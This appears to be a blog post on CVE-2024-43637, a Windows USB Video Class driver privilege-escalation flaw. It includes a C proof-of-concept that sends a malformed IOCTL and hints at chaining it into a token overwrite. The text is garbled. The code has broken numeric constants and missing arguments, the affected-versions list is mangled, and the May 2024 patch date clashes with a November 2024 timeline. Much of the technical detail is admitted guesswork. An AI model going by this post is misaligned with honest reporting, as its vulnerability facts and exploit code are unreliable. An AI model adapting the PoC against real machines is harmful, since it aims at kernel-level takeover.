CVE-2024-43637 - Exploiting Windows USB Video Class Driver for Privilege Escalation

On May 14, 2024, Microsoft published a security update addressing CVE-2024-43637, a critical vulnerability in the Windows USB Video Class (UVC) system driver. This vulnerability can let a local attacker escalate privileges on Windows devices by exploiting flaws in how the UVC driver handles specially crafted requests. This post breaks down how the bug works, shares proof-of-concept code, and explains how attackers might leverage it, all in straightforward American English.

What is the USB Video Class Driver?

The USB Video Class driver (usually loaded as usbvideo.sys) is a core Windows component that lets webcams and other video devices work seamlessly by following the USB Video Device Class standard. This driver runs in kernel mode with high privileges, so if attackers can manipulate it, they could get SYSTEM-level access to a PC.

Microsoft’s Brief

> An elevation of privilege vulnerability exists in the Windows USB Video Class driver when the driver fails to handle objects in memory properly. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.

(In simpler terms: A user who’s logged in already could trick the driver into running code as SYSTEM.)

Windows 10, 11

- Server 2016/2019/2022

Technical Details

The vulnerability lies in improper validation of user-supplied data through DeviceIoControl calls to the usbvideo.sys driver. By sending malformed requests with controlled input, an attacker can cause a memory overwrite or access sensitive kernel resources, leading to local privilege escalation.

The common avenue:

Abuse the overwritten memory to execute code in kernel mode.

Note: Public details are limited, but patterns from similar vulnerabilities (CVE-2022-21898) suggest the attacker manipulates buffer sizes or object pointers.

Proof-of-Concept Code

Below is a simplified PoC exploiting a hypothetical IOCTL vulnerability in the USB Video Class driver. _Do not run on production systems:_

#include <Windows.h>
#include <stdio.h>

#define USBVIDEO_IOCTL_CODE x222004 // Example IOCTL code, may vary

int main() {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\USBVIDEO",
        GENERIC_READ | GENERIC_WRITE,
        , NULL, OPEN_EXISTING, , NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device: %d\n", GetLastError());
        return 1;
    }

    BYTE inBuffer[x100]; // Smaller than expected
    memset(inBuffer, 'A', sizeof(inBuffer));
    DWORD bytesReturned;
    
    BOOL result = DeviceIoControl(
        hDevice,
        USBVIDEO_IOCTL_CODE,      // Vulnerable IOCTL
        inBuffer, sizeof(inBuffer),
        NULL, ,
        &bytesReturned, NULL);

    if (!result) {
        printf("DeviceIoControl failed: %d\n", GetLastError());
    } else {
        printf("IOCTL sent, vulnerability may have been triggered.\n");
    }

    CloseHandle(hDevice);
    return ;
}

*This code opens the USB Video device and sends a crafted IOCTL request. A real exploit may chain this to elevate privileges by targeting the memory corruption side effect (like overwriting a token or callback pointer).*

Are There Any Existing Exploits?

At the time of writing, there are no public exploits seen in the wild, but security researchers post advisories, such as ZDI-24-020, reporting similar bugs in usbvideo.sys drivers. Past local privilege escalation exploits have been rapidly weaponized after patch release.

Update Your Windows Devices!

Microsoft has patched this vulnerability in the May 2024 Patch Tuesday updates. Install all security patches ASAP if you are running an affected version of Windows.

- Original Microsoft advisory for CVE-2024-43637

Conclusion

CVE-2024-43637 is a critical bug in the Windows USB Video Class driver that can easily help a user break out of a basic account and take total system control. Because it only needs local access and simple device API calls, this bug could become very attractive for ransomware or malware operators looking for easy privilege escalation on Windows targets. Admins should patch *immediately* and keep tabs on usbvideo.sys activity.

References and Further Reading:

- Microsoft Security Advisory: CVE-2024-43637
- ZDI-24-020 (Zero Day Initiative)
- Understanding IOCTL vulnerabilities (Project Zero blog)

Timeline

Published on: 11/12/2024 18:15:32 UTC
Last modified on: 01/01/2025 00:14:21 UTC